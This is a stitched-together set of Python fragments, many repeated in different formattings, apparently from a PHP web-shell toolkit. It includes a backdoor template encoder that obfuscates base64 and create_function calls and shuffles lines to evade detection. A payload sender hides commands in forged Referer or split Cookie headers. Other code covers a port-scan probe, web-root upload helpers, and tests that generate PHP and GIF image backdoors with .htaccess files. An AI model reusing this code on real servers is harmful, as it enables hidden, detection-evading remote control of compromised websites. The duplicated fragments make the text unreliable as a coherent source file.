def test_php(self): phpbd_pwd = randstr(4) temp_file = NamedTemporaryFile() temp_file.close() self.assertEqual( self._res(':generate.php %s %s' % (phpbd_pwd, temp_file.name)), temp_file.name) self.assertEqual(self._res(':generate.php %s' % (phpbd_pwd)), 'weevely.php') self.assertTrue(os.path.isfile('weevely.php')) os.remove('weevely.php') self.assertRegexpMatches( self._warn(':generate.php %s /tmp/sdalkjdas/kjh' % (phpbd_pwd)), modules.generate.php.WARN_WRITING_DATA) self.assertRegexpMatches( self._warn(':generate.php %s %s2' % (phpbd_pwd[:2], temp_file.name)), core.backdoor.WARN_SHORT_PWD) self.assertRegexpMatches( self._warn(':generate.php @>!? %s3' % (temp_file.name)), core.backdoor.WARN_CHARS) # No output expected self.assertEqual( self._outp(':generate.php %s %s' % (phpbd_pwd, temp_file.name + '2')), '') self.__test_new_bd(temp_file.name, '%s.php' % randstr(5), phpbd_pwd)
def test_php(self): phpbd_pwd = randstr(4) temp_file = NamedTemporaryFile() temp_file.close() self.assertEqual( self._res(':generate.php %s %s' % (phpbd_pwd, temp_file.name)), temp_file.name) self.assertEqual( self._res(':generate.php %s' % (phpbd_pwd)), 'weevely.php') self.assertTrue(os.path.isfile('weevely.php')) os.remove('weevely.php') self.assertRegexpMatches( self._warn(':generate.php %s /tmp/sdalkjdas/kjh' % (phpbd_pwd)), modules.generate.php.WARN_WRITING_DATA) self.assertRegexpMatches( self._warn( ':generate.php %s %s2' % (phpbd_pwd[:2], temp_file.name)), core.backdoor.WARN_SHORT_PWD) self.assertRegexpMatches( self._warn(':generate.php @>!? %s3' % (temp_file.name)), core.backdoor.WARN_CHARS) # No output expected self.assertEqual( self._outp( ':generate.php %s %s' % (phpbd_pwd, temp_file.name + '2')), '') self.__test_new_bd(temp_file.name, '%s.php' % randstr(5), phpbd_pwd)
def encode_template(self): b64_new_func_name = randstr() b64_pollution, b64_polluted = pollute_with_static_str('base64_decode', frequency=0.7) createfunc_name = randstr() createfunc_pollution, createfunc_polluted = pollute_with_static_str( 'create_function', frequency=0.7) payload_var = [randstr() for st in range(4)] payload_pollution, payload_polluted = pollute_with_static_str( base64.b64encode(self.payload)) replace_new_func_name = randstr() repl_pollution, repl_polluted = pollute_with_static_str('str_replace', frequency=0.7) final_func_name = randstr() length = len(payload_polluted) offset = 7 piece1 = length / 4 + randrange(-offset, +offset) piece2 = length / 2 + randrange(-offset, +offset) piece3 = length * 3 / 4 + randrange(-offset, +offset) ts_splitted = self.backdoor_template.splitlines() ts_shuffled = ts_splitted[1:6] shuffle(ts_shuffled) ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:] self.backdoor_template = '\n'.join(ts_splitted) return BdTemplate(self.backdoor_template).substitute( B64_FUNC=b64_new_func_name, B64_ENC=b64_polluted, B64_POLL=b64_pollution, CREAT_FUNC=createfunc_name, CREAT_ENC=createfunc_polluted, CREAT_POLL=createfunc_pollution, REPL_FUNC=replace_new_func_name, REPL_ENC=repl_polluted, REPL_POLL=repl_pollution, PAY_VAR1=payload_var[0], PAY_VAR2=payload_var[1], PAY_VAR3=payload_var[2], PAY_VAR4=payload_var[3], PAY_POLL=payload_pollution, PAY1=payload_polluted[:piece1], PAY2=payload_polluted[piece1:piece2], PAY3=payload_polluted[piece2:piece3], PAY4=payload_polluted[piece3:], FINAL_FUNC=final_func_name)
def encode_template(self): b64_new_func_name = randstr() b64_pollution, b64_polluted = pollute_with_static_str('base64_decode',frequency=0.7) createfunc_name = randstr() createfunc_pollution, createfunc_polluted = pollute_with_static_str('create_function',frequency=0.7) payload_var = [ randstr() for st in range(4) ] payload_pollution, payload_polluted = pollute_with_static_str(base64.b64encode(self.payload)) replace_new_func_name = randstr() repl_pollution, repl_polluted = pollute_with_static_str('str_replace',frequency=0.7) final_func_name = randstr() length = len(payload_polluted) offset = 7 piece1 = length / 4 + randrange(-offset,+offset) piece2 = length / 2 + randrange(-offset,+offset) piece3 = length*3/4 + randrange(-offset,+offset) ts_splitted = self.backdoor_template.splitlines() ts_shuffled = ts_splitted[1:6] shuffle(ts_shuffled) ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:] self.backdoor_template = '\n'.join(ts_splitted) template = self.backdoor_template.replace( '%%B64_ENCODED%%', b64_polluted ) template = template.replace( '%%B64_FUNC%%', b64_new_func_name ) template = template.replace( '%%CREATFUNC%%', createfunc_name ) template = template.replace( '%%CREATFUNC_ENCODED%%', createfunc_polluted ) template = template.replace( '%%CREATFUNC_POLLUTION%%', createfunc_pollution ) template = template.replace( '%%REPL_ENCODED%%', repl_polluted ) template = template.replace( '%%REPL_POLLUTION%%', repl_pollution ) template = template.replace( '%%REPL_FUNC%%', replace_new_func_name ) template = template.replace( '%%PAY_VAR1%%', payload_var[0] ) template = template.replace( '%%PAY_VAR2%%', payload_var[1] ) template = template.replace( '%%PAY_VAR3%%', payload_var[2] ) template = template.replace( '%%PAY_VAR4%%', payload_var[3] ) template = template.replace( '%%PAYLOAD_POLLUTION%%', payload_pollution ) template = template.replace( '%%B64_POLLUTION%%', b64_pollution ) template = template.replace( '%%PAYLOAD1%%', payload_polluted[:piece1] ) template = template.replace( '%%PAYLOAD2%%', payload_polluted[piece1:piece2] ) template = template.replace( '%%PAYLOAD3%%', payload_polluted[piece2:piece3] ) template = template.replace( '%%PAYLOAD4%%', payload_polluted[piece3:] ) template = template.replace( '%%FINALFUNC%%', final_func_name ) return template
def encode_template(self): b64_new_func_name = randstr() b64_pollution, b64_polluted = pollute_with_static_str("base64_decode", frequency=0.7) createfunc_name = randstr() createfunc_pollution, createfunc_polluted = pollute_with_static_str("create_function", frequency=0.7) payload_var = [randstr() for st in range(4)] payload_pollution, payload_polluted = pollute_with_static_str(base64.b64encode(self.payload)) replace_new_func_name = randstr() repl_pollution, repl_polluted = pollute_with_static_str("str_replace", frequency=0.7) final_func_name = randstr() length = len(payload_polluted) offset = 7 piece1 = length / 4 + randrange(-offset, +offset) piece2 = length / 2 + randrange(-offset, +offset) piece3 = length * 3 / 4 + randrange(-offset, +offset) ts_splitted = self.backdoor_template.splitlines() ts_shuffled = ts_splitted[1:6] shuffle(ts_shuffled) ts_splitted = [ts_splitted[0]] + ts_shuffled + ts_splitted[6:] self.backdoor_template = "\n".join(ts_splitted) return BdTemplate(self.backdoor_template).substitute( B64_FUNC=b64_new_func_name, B64_ENC=b64_polluted, B64_POLL=b64_pollution, CREAT_FUNC=createfunc_name, CREAT_ENC=createfunc_polluted, CREAT_POLL=createfunc_pollution, REPL_FUNC=replace_new_func_name, REPL_ENC=repl_polluted, REPL_POLL=repl_pollution, PAY_VAR1=payload_var[0], PAY_VAR2=payload_var[1], PAY_VAR3=payload_var[2], PAY_VAR4=payload_var[3], PAY_POLL=payload_pollution, PAY1=payload_polluted[:piece1], PAY2=payload_polluted[piece1:piece2], PAY3=payload_polluted[piece2:piece3], PAY4=payload_polluted[piece3:], FINAL_FUNC=final_func_name, )
def test_upload2web(self): filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) env_writable_base_url = os.path.join(conf['env_base_web_url'], self.basedir.replace(conf['env_base_web_dir'],'')) env_writable_url = os.path.join(conf['env_base_web_url'], conf['env_base_writable_web_dir'].replace(conf['env_base_web_dir'],'')) self._outp('cd %s' % self.basedir) self.assertEqual(self._res(':file.upload2web /etc/protocols' ), ['%s/protocols' % self.basedir, '%s/protocols' % env_writable_base_url]) self.assertEqual(self._res(':file.upload2web /etc/protocols %s/protocols' % os.path.join(self.basedir, self.dirs[0]) ), ['%s/protocols' % os.path.join(self.basedir, self.dirs[0]), '%s/protocols' % os.path.join(env_writable_base_url, self.dirs[0])]) # Out of web root self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols /asp' ), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols /tmp/protocols' ), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols -startpath /tmp/' ), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols ../../../protocols' ), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols -startpath ../../../' ), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) # In webroot but not writable self.assertRegexpMatches(self._warn(':file.upload2web /etc/protocols ../../protocols' ), modules.file.upload.WARN_UPLOAD_FAIL) self.assertEqual(self._res(':file.upload2web /etc/protocols -startpath ../../ -force' ), ['%s/protocols' % conf['env_base_writable_web_dir'], '%s/protocols' % env_writable_url]) self.__class__._env_rm('%s/protocols' % conf['env_base_writable_web_dir']) self.assertEqual(self._res(':file.upload2web /bin/true -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual(self._res(':file.upload2web /bin/true -vector file_put_contents -force'), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual(self._res(':file.upload2web /bin/true -vector fwrite -force' ), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual(self._res(':file.upload2web /bin/true -chunksize 2048 -force' ), ['%s/true' % self.basedir, '%s/true' % env_writable_base_url]) self.assertEqual(self._res(':file.upload2web /bin/asd -content MYTEXT -force'), ['%s/asd' % self.basedir, '%s/asd' % env_writable_base_url]) self.assertEqual(self._outp(':file.read %s' % ('%s/asd' % self.basedir)), 'MYTEXT')
def setPayload(self, payload, mode): payload = base64.b64encode(payload.strip()) length = len(payload) third = length / 3 thirds = third * 2 if mode == 'Referer': referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % ( self.password[:2], urllib2.quote(self.url), self.query.strip(), payload[:third], payload[third:thirds], payload[thirds:]) self['Referer'] = referer else: # mode == 'Cookie' or unset prefixes = default_prefixes[:] rand_cookie = '' rand_cookie += prefixes.pop() + '=' + self.password[:2] + '; ' while len(prefixes) > 3: if random() > 0.5: break rand_cookie += prefixes.pop() + '=' + \ randstr(16, False, letters + digits) + '; ' # DO NOT fuzz with %, _ (\w on regexp keep _) payload = pollute_with_random_str(payload, '#&*-/?@~') rand_cookie += prefixes.pop() + '=' + payload[:third] + '; ' rand_cookie += prefixes.pop() + '=' + payload[third:thirds] + '; ' rand_cookie += prefixes.pop() + '=' + payload[thirds:] self['Cookie'] = rand_cookie
def test_img(self): phpbd_pwd = randstr(4) temp_file = NamedTemporaryFile(); temp_file.close(); temp_imgpathname = '%s.gif' % temp_file.name temp_path, temp_filename = os.path.split(temp_imgpathname) temp_outputdir = mkdtemp() status, output = getstatusoutput(conf['env_create_backdoorable_img'] % temp_imgpathname) self.assertEqual(0, status) self.assertEqual(self._res(':generate.img %s %s' % (phpbd_pwd, temp_imgpathname)), [os.path.join('bd_output',temp_filename), 'bd_output/.htaccess']) self.assertTrue(os.path.isdir('bd_output')) shutil.rmtree('bd_output') self.assertRegexpMatches(self._warn(':generate.img %s /tmp/sdalkj' % (phpbd_pwd)), modules.generate.img.WARN_IMG_NOT_FOUND) self.assertRegexpMatches(self._warn(':generate.img %s %s /tmp/ksdajhjksda/kjdha' % (phpbd_pwd, temp_imgpathname)), modules.generate.img.WARN_DIR_CREAT) self.assertRegexpMatches(self._warn(':generate.img [@>!?] %s %s3' % (temp_imgpathname, temp_outputdir)), core.backdoor.WARN_CHARS) self.assertEqual(self._res(':generate.img %s %s %s' % (phpbd_pwd, temp_imgpathname, temp_outputdir)), [os.path.join(temp_outputdir,temp_filename), os.path.join(temp_outputdir, '.htaccess')]) # No output expected self.assertEqual(self._outp(':generate.img %s %s %s' % (phpbd_pwd, temp_imgpathname, temp_outputdir+'2')), '') self.__class__._env_chmod(temp_outputdir, '777', currentuser=True) self.__class__._env_cp(os.path.join(temp_outputdir, '.htaccess'), '.htaccess') self.__test_new_bd( os.path.join(temp_outputdir,temp_filename), temp_filename, phpbd_pwd)
def test_mount_errors(self): temp_filename = randstr(4) + '.php' env_writable_url = os.path.join(conf['env_base_web_url'], conf['env_base_writable_web_dir'].replace(conf['env_base_web_dir'],'')) env_writable_baseurl = os.path.join(env_writable_url, os.path.split(self.basedir)[-1]) temp_dir = mkdtemp() self._outp('cd %s' % self.basedir) self.assertRegexpMatches(self._warn(':file.mount -remote-mount /nonexistant/'),modules.file.mount.WARN_HTTPFS_MOUNTPOINT) self.assertRegexpMatches(self._warn(':file.mount -remote-mount /etc/protocols'),modules.file.mount.WARN_HTTPFS_OUTP) self.assertRegexpMatches(self._warn(':file.mount -local-mount /nonexistant/'),modules.file.mount.WARN_HTTPFS_OUTP) self.assertRegexpMatches(self._warn(':file.mount -rpath /notinwebroot'), modules.file.upload2web.WARN_NOT_WEBROOT_SUBFOLDER) self.assertRegexpMatches(self._warn(':file.mount -rpath ./unexistant/path'), modules.file.upload2web.WARN_NOT_FOUND) res = self._res(':file.mount -just-install -rpath %s' % (temp_filename)) self.assertRegexpMatches(self._warn(':file.mount -just-install -rpath %s' % (temp_filename)), modules.file.upload.WARN_FILE_EXISTS) self.assertRegexpMatches(self._warn(':file.mount -startpath /notinwebroot'), modules.file.upload2web.WARN_NOT_FOUND) self.assertRegexpMatches(self._warn(':file.mount -startpath ./unexistant/path'), modules.file.upload2web.WARN_NOT_FOUND) self.assertRegexpMatches(self._warn(':file.mount -just-mount localhost:9909'),modules.file.mount.WARN_HTTPFS_OUTP) self.assertRegexpMatches(self._warn(':file.mount -just-mount %s/nonexistant' % env_writable_baseurl),modules.file.mount.WARN_HTTPFS_OUTP)
def test_set(self): module_params = [ x.dest for x in self.term.modhandler.load('shell.sh').argparser._actions if x.dest != 'help' ] filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) #Use shell.php precmd self._res(':set shell.php -precmd echo("WEEV");') self.assertRegexpMatches(self._res(':shell.php print("ILY");'), 'WEEVILY') #Reset parameters self._res(':set shell.sh') params_print = self._warn(':help shell.sh') self.assertRegexpMatches( params_print.strip().split('\n')[-1], 'stored arguments: %s=\'\'' % '=\'\'[\s]+'.join(module_params)) #Set wrongly parameter with choices #Expected arguments self.assertRegexpMatches( self._warn(':set shell.php -precmd'), 'argument -precmd: expected at least one argument') #Expected int self.assertRegexpMatches( self._warn(':set shell.php -debug asd'), 'argument -debug: invalid int value: \'asd\'') #Expected dict self.assertRegexpMatches(self._warn(':set shell.php -post 1'), 'argument -post: invalid dict value: \'1\'')
def __generate_httpfs(self): status, php_bd_content = getstatusoutput('%s generate php' % (self.args['httpfs_path'])) if status != 0 or not php_bd_content: raise ProbeException(self.name, '\'%s\' %s' % (self.args['httpfs_path'], WARN_ERR_GEN_PHP)) self.args['lpath'] = randstr(4) + '.php' self.args['content'] = php_bd_content
def __generate_httpfs(self): status, php_bd_content = getstatusoutput("%s generate php" % (self.args["httpfs_path"])) if status != 0 or not php_bd_content: raise ProbeException(self.name, "'%s' %s" % (self.args["httpfs_path"], WARN_ERR_GEN_PHP)) self.args["lpath"] = randstr(4) + ".php" self.args["content"] = php_bd_content
def pollute_with_random_str(str, charset = '!"#$%&()*-,./:<>?@[\]^_`{|}~', frequency=0.3): str_encoded = '' for char in str: if random() < frequency: str_encoded += randstr(1, True, charset) + char else: str_encoded += char return str_encoded
def test_edit(self): temp_filename = path.join('/tmp', randstr(4) ) self.assertTrue(self._res(""":file.edit %s -editor "%s" """ % (temp_filename, self.editor))) self.assertTrue(self._res(""":file.edit %s -editor "%s" """ % (temp_filename, self.editor))) self.assertEqual(self._res(":file.read %s" % temp_filename), '11') self.assertRegexpMatches(self._warn(""":file.edit /tmp/non/existant -editor "%s" """ % (self.editor)), modules.file.edit.WARN_UPLOAD_FAILED) self.assertRegexpMatches(self._warn(""":file.edit /etc/protocols -editor "%s" """ % (self.editor)), modules.file.edit.WARN_UPLOAD_FAILED)
def pollute_with_random_str(str, charset='!"#$%&()*-,./:<>?@[\]^_`{|}~', frequency=0.3): str_encoded = '' for char in str: if random() < frequency: str_encoded += randstr(1, True, charset) + char else: str_encoded += char return str_encoded
def test_img(self): phpbd_pwd = randstr(4) temp_file = NamedTemporaryFile() temp_file.close() temp_imgpathname = '%s.gif' % temp_file.name temp_path, temp_filename = os.path.split(temp_imgpathname) temp_outputdir = mkdtemp() status, output = getstatusoutput(conf['env_create_backdoorable_img'] % temp_imgpathname) self.assertEqual(0, status) self.assertEqual( self._res(':generate.img %s %s' % (phpbd_pwd, temp_imgpathname)), [os.path.join('bd_output', temp_filename), 'bd_output/.htaccess']) self.assertTrue(os.path.isdir('bd_output')) shutil.rmtree('bd_output') self.assertRegexpMatches( self._warn(':generate.img %s /tmp/sdalkj' % (phpbd_pwd)), modules.generate.img.WARN_IMG_NOT_FOUND) self.assertRegexpMatches( self._warn(':generate.img %s %s /tmp/ksdajhjksda/kjdha' % (phpbd_pwd, temp_imgpathname)), modules.generate.img.WARN_DIR_CREAT) self.assertRegexpMatches( self._warn(':generate.img [@>!?] %s %s3' % (temp_imgpathname, temp_outputdir)), core.backdoor.WARN_CHARS) self.assertEqual( self._res(':generate.img %s %s %s' % (phpbd_pwd, temp_imgpathname, temp_outputdir)), [ os.path.join(temp_outputdir, temp_filename), os.path.join(temp_outputdir, '.htaccess') ]) # No output expected self.assertEqual( self._outp(':generate.img %s %s %s' % (phpbd_pwd, temp_imgpathname, temp_outputdir + '2')), '') self.__class__._env_chmod(temp_outputdir, '0777') self.__class__._env_cp(os.path.join(temp_outputdir, '.htaccess'), '.htaccess') self.__test_new_bd(os.path.join(temp_outputdir, temp_filename), temp_filename, phpbd_pwd)
def _prepare(self): proxy_path = self._get_proxy_path() if not self.args['rpath']: # If no rpath, set content and remote final filename as random try: content = open(proxy_path, 'r').read() except Exception, e: raise ProbeException(self.name, '\'%s\' %s' % (self.args['lpath'], WARN_NO_SUCH_FILE)) self.args['lpath'] = randstr(4) + '.php' self.args['content'] = content
def _prepare(self): proxy_path = self._get_proxy_path() if not self.args["rpath"]: # If no rpath, set content and remote final filename as random try: content = open(proxy_path, "r").read() except Exception, e: raise ProbeException(self.name, "'%s' %s" % (self.args["lpath"], WARN_NO_SUCH_FILE)) self.args["lpath"] = randstr(4) + ".php" self.args["content"] = content
def _prepare(self): proxy_path = self._get_proxy_path() if not self.args['rpath']: # If no rpath, set content and remote final filename as random try: content = open(proxy_path, 'r').read() except Exception, e: raise ProbeException( self.name, '\'%s\' %s' % (self.args['lpath'], WARN_NO_SUCH_FILE)) self.args['lpath'] = randstr(4) + '.php' self.args['content'] = content
def find_randstr_not_in_str(str, charset): while True: pollution_chars = randstr(16, True, charset) pollution = '' found = False for i in range(0, len(pollution_chars)): pollution = pollution_chars[:i] if (not pollution in str) : found=True break if not found: print '[!] Bad randomization, retrying.' else: return pollution
def find_randstr_not_in_str(str, charset): while True: pollution_chars = randstr(16, True, charset) pollution = '' found = False for i in range(0, len(pollution_chars)): pollution = pollution_chars[:i] if (not pollution in str): found = True break if not found: print '[!] Bad randomization, retrying.' else: return pollution
def test_upload(self): filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) self.assertEqual(self._res(':file.upload /etc/protocols %s0' % filepath_rand), True) self.assertRegexpMatches(self._warn(':file.upload /etc/protocolsA %s1' % filepath_rand), modules.file.upload.WARN_NO_SUCH_FILE) self.assertRegexpMatches(self._warn(':file.upload /etc/protocols /notwritable' ), modules.file.upload.WARN_UPLOAD_FAIL) self.assertEqual(self._res(':file.upload /bin/true %s2' % filepath_rand), True) self.assertEqual(self._res(':file.upload /bin/true %s3 -vector file_put_contents' % filepath_rand), True) self.assertEqual(self._res(':file.upload /bin/true %s4 -vector fwrite' % filepath_rand), True) self.assertEqual(self._res(':file.upload /bin/true %s5 -chunksize 2048' % filepath_rand), True) self.assertEqual(self._res(':file.upload /bin/true %s6 -content MYTEXT' % filepath_rand), True) self.assertEqual(self._outp(':file.read %s6' % (filepath_rand)), 'MYTEXT') # Check force self.assertRegexpMatches(self._warn(':file.upload /bin/true %s6 -content MYTEXT' % filepath_rand), modules.file.upload.WARN_FILE_EXISTS) self.assertEqual(self._res(':file.upload /bin/true %s6 -content MYTEXT -force' % filepath_rand), True)
def _probe(self): while self.args['reqs']: reqstringarray = '' requests = self.args['reqs'].get_requests(self.args['ppr']) for host, ports in requests.items(): portschunk = map(str, (ports)) reqstringarray += '%s %s,' % (host, '|'.join(portschunk)) output = 'SCAN %s:%s-%s ' % (host, portschunk[0], portschunk[-1]) result = self.support_vectors.get('scan').execute({'post_field' : randstr(), 'data' : b64encode('%s' % reqstringarray[:-1])}) if result != '.': output += 'OPEN: ' + result.strip()[:-1] self._result += result.strip()[:-1] print output
def test_set(self): module_params = [ x.dest for x in self.term.modhandler.load('file.upload').argparser._actions ] filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) self._res(':set shell.php debug=1') self.assertTrue(self._res(':file.upload /etc/hosts %s -content MYTEXT' % filepath_rand)) params_print = self._warn(':set file.upload') # Basic parameter output self.assertRegexpMatches(params_print, '%s=\'.*\'[\s]+' % '=\'.*\'[\s]+'.join(module_params) ) # Module should have an already set vector self.assertRegexpMatches(params_print, 'vector=\'[\w]+\'') #Set parameter previously to execute command without self.assertRegexpMatches(self._warn(':set file.upload lpath="/etc/hosts"'), 'lpath=\'/etc/hosts\'' ) self.assertRegexpMatches(self._warn(':set file.upload rpath="%s1"' % filepath_rand), 'rpath=\'%s1\'' % filepath_rand ) self.assertRegexpMatches(self._warn(':set file.upload'),'lpath=\'/etc/hosts\'[\s]+rpath=\'%s1\'' % filepath_rand ) self.assertTrue(self._res(':file.upload')) #Set wrongly parameter with choices self.assertRegexpMatches(self._warn(':set file.upload vector="nonexistant"'), 'vector=\'nonexistant\'' ) self.assertRegexpMatches(self._warn(':file.upload /etc/hosts %s2' % filepath_rand), 'invalid choice' ) # Reset parameters self.assertRegexpMatches(self._warn(':set file.upload vector=""'), 'vector=\'\'' ) self.assertRegexpMatches(self._warn(':set file.upload lpath='), 'lpath=\'\'' ) self.assertRegexpMatches(self._warn(':set file.upload rpath='), 'rpath=\'\'' ) self.assertTrue(self._res(':file.upload /etc/hosts %s3 -mycontent ASD' % filepath_rand)) #Set wrongly parameter with choices but run it correctly self.assertRegexpMatches(self._warn(':set shell.php debug="asd"'), 'debug=\'asd\'' ) self.assertEqual(self._res(':shell.php print(\'ASD\'); -debug 4'), 'ASD' ) self.assertRegexpMatches(self._warn(':set shell.php debug='), 'debug=\'\'' ) #Set wrongly parameter type self.assertRegexpMatches(self._warn(':set shell.php debug=\'asd\''), 'debug=\'asd\'' ) self.assertRegexpMatches(self._warn('echo'), 'invalid int value' )
def test_mount_expected_behaviour(self): temp_filename = randstr(4) + '.php' env_writable_url = os.path.join(conf['env_base_web_url'], conf['env_base_writable_web_dir'].replace(conf['env_base_web_dir'],'')) env_writable_baseurl = os.path.join(env_writable_url, os.path.split(self.basedir)[-1]) temp_dir = mkdtemp() self._outp('cd %s' % self.basedir) res = self._res(':file.mount') self.assertTrue(res and res[0].startswith(env_writable_baseurl) and res[0].endswith('.php') and res[1].startswith('/tmp/tmp') and res[2] == self.basedir) res = self._res(':file.mount -remote-mount /tmp/') self.assertTrue(res and res[0].startswith(env_writable_baseurl) and res[0].endswith('.php') and res[1].startswith('/tmp/tmp') and res[2] == '/tmp') res = self._res(':file.mount -local-mount %s' % temp_dir) self.assertTrue(res and res[0].startswith(env_writable_baseurl) and res[0].endswith('.php') and res[1] == temp_dir and res[2] == self.basedir) self.assertTrue(self._res(':file.mount -umount-all')) res = self._res(':file.mount -local-mount %s -rpath %s' % (temp_dir, temp_filename)) self.assertTrue(res and res[0] == os.path.join(env_writable_baseurl, temp_filename) and res[1] == temp_dir and res[2] == self.basedir) res = self._res(':file.mount -rpath %s -force' % (temp_filename)) self.assertTrue(res and res[0] == os.path.join(env_writable_baseurl, temp_filename) and res[1].startswith('/tmp/tmp') and res[2] == self.basedir) res = self._res(':file.mount -startpath %s' % (self.dirs[0])) self.assertTrue(res and res[0].startswith(os.path.join(env_writable_baseurl,self.dirs[0])) and res[0].endswith('.php') and res[1].startswith('/tmp/tmp') and res[2] == self.basedir) res = self._res(':file.mount -just-mount %s ' % os.path.join(env_writable_baseurl, temp_filename)) self.assertTrue(res and res[0] == os.path.join(env_writable_baseurl, temp_filename) and res[1].startswith('/tmp/tmp') and res[2] == self.basedir) res = self._res(':file.mount -just-install') self.assertTrue(res and res[0].startswith(env_writable_baseurl) and res[0].endswith('.php') and res[1] == None and res[2] == self.basedir) self.assertTrue(self._res(':file.mount -umount-all')) self.assertRegexpMatches(self._warn(':file.mount -umount-all'), modules.file.mount.WARN_MOUNT_NOT_FOUND)
def setPayload(self, payload, mode): payload = base64.b64encode(payload.strip()) length = len(payload) third = length / 3 thirds = third * 2 if mode == 'Referer': referer = "http://www.google.com/url?sa=%s&source=web&ct=7&url=%s&rct=j&q=%s&ei=%s&usg=%s&sig2=%s" % (self.password[:2], urllib2.quote( self.url), self.query.strip(), payload[ :third], payload[ third:thirds], payload[thirds:]) self['Referer'] = referer else: # mode == 'Cookie' or unset prefixes = default_prefixes[:] rand_cookie = '' rand_cookie += prefixes.pop() + '=' + self.password[:2] + '; ' while len(prefixes) > 3: if random() > 0.5: break rand_cookie += prefixes.pop() + '=' + \ randstr(16, False, letters + digits) + '; ' # DO NOT fuzz with %, _ (\w on regexp keep _) payload = pollute_with_random_str(payload, '#&*-/?@~') rand_cookie += prefixes.pop() + '=' + payload[:third] + '; ' rand_cookie += prefixes.pop() + '=' + payload[third:thirds] + '; ' rand_cookie += prefixes.pop() + '=' + payload[thirds:] self['Cookie'] = rand_cookie
def test_set(self): module_params = [ x.dest for x in self.term.modhandler.load('shell.sh').argparser._actions if x.dest != 'help' ] filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) self.assertRegexpMatches(self._res(':shell.sh ls'), '.\n..') params_print = self._warn(':help shell.sh') # Basic parameter output self.assertRegexpMatches(params_print.strip().split('\n')[-1], 'stored arguments: %s=\'.*\'' % '=\'.*\'[\s]+'.join(module_params) ) # Module should have an already set vector self.assertRegexpMatches(params_print, 'vector=\'[\w]+\'') #Set parameter previously to execute command without self.assertRegexpMatches(self._warn(':set shell.sh ls'), 'cmd=\'\[\'ls\'\]\'' ) self.assertRegexpMatches(self._res(':shell.sh'), '.\n..') #Redo previous test, with shell.php precmd self._res(':set shell.php -precmd echo("WEEV");') self.assertRegexpMatches(self._warn(':set shell.sh echo ILY'), 'cmd=\'\[\'echo\'\, \'ILY\'\]\'' ) self.assertRegexpMatches(self._res(':shell.sh'), 'WEEVILY') #Reset parameters self._res(':set shell.sh') params_print = self._warn(':help shell.sh') self.assertRegexpMatches(params_print.strip().split('\n')[-1], 'stored arguments: %s=\'\'' % '=\'\'[\s]+'.join(module_params) ) #Set wrongly parameter with choices #Expected arguments self.assertRegexpMatches(self._warn(':set shell.php -precmd'), 'argument -precmd: expected at least one argument') #Expected int self.assertRegexpMatches(self._warn(':set shell.php -debug asd'), 'argument -debug: invalid int value: \'asd\'') #Expected dict self.assertRegexpMatches(self._warn(':set shell.php -post 1'), 'argument -post: invalid dict value: \'1\'')
def test_set(self): module_params = [ x.dest for x in self.term.modhandler.load('shell.sh').argparser._actions if x.dest != 'help' ] filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) #Use shell.php precmd self._res(':set shell.php -precmd echo("WEEV");') self.assertRegexpMatches(self._res(':shell.php print("ILY");'), 'WEEVILY') #Reset parameters self._res(':set shell.sh') params_print = self._warn(':help shell.sh') self.assertRegexpMatches(params_print.strip().split('\n')[-1], 'stored arguments: %s=\'\'' % '=\'\'[\s]+'.join(module_params) ) #Set wrongly parameter with choices #Expected arguments self.assertRegexpMatches(self._warn(':set shell.php -precmd'), 'argument -precmd: expected at least one argument') #Expected int self.assertRegexpMatches(self._warn(':set shell.php -debug asd'), 'argument -debug: invalid int value: \'asd\'') #Expected dict self.assertRegexpMatches(self._warn(':set shell.php -post 1'), 'argument -post: invalid dict value: \'1\'')
def test_upload(self): filename_rand = randstr(4) filepath_rand = os.path.join(self.basedir, filename_rand) self.assertEqual( self._res(':file.upload /etc/protocols %s0' % filepath_rand), True) self.assertRegexpMatches( self._warn(':file.upload /etc/protocolsA %s1' % filepath_rand), modules.file.upload.WARN_NO_SUCH_FILE) self.assertRegexpMatches( self._warn(':file.upload /etc/protocols /notwritable'), modules.file.upload.WARN_UPLOAD_FAIL) self.assertEqual( self._res(':file.upload /bin/true %s2' % filepath_rand), True) self.assertEqual( self._res(':file.upload /bin/true %s3 -vector file_put_contents' % filepath_rand), True) self.assertEqual( self._res(':file.upload /bin/true %s4 -vector fwrite' % filepath_rand), True) self.assertEqual( self._res(':file.upload /bin/true %s5 -chunksize 2048' % filepath_rand), True) self.assertEqual( self._res(':file.upload /bin/true %s6 -content MYTEXT' % filepath_rand), True) self.assertEqual(self._outp(':file.read %s6' % (filepath_rand)), 'MYTEXT') # Check force self.assertRegexpMatches( self._warn(':file.upload /bin/true %s6 -content MYTEXT' % filepath_rand), modules.file.upload.WARN_FILE_EXISTS) self.assertEqual( self._res(':file.upload /bin/true %s6 -content MYTEXT -force' % filepath_rand), True)
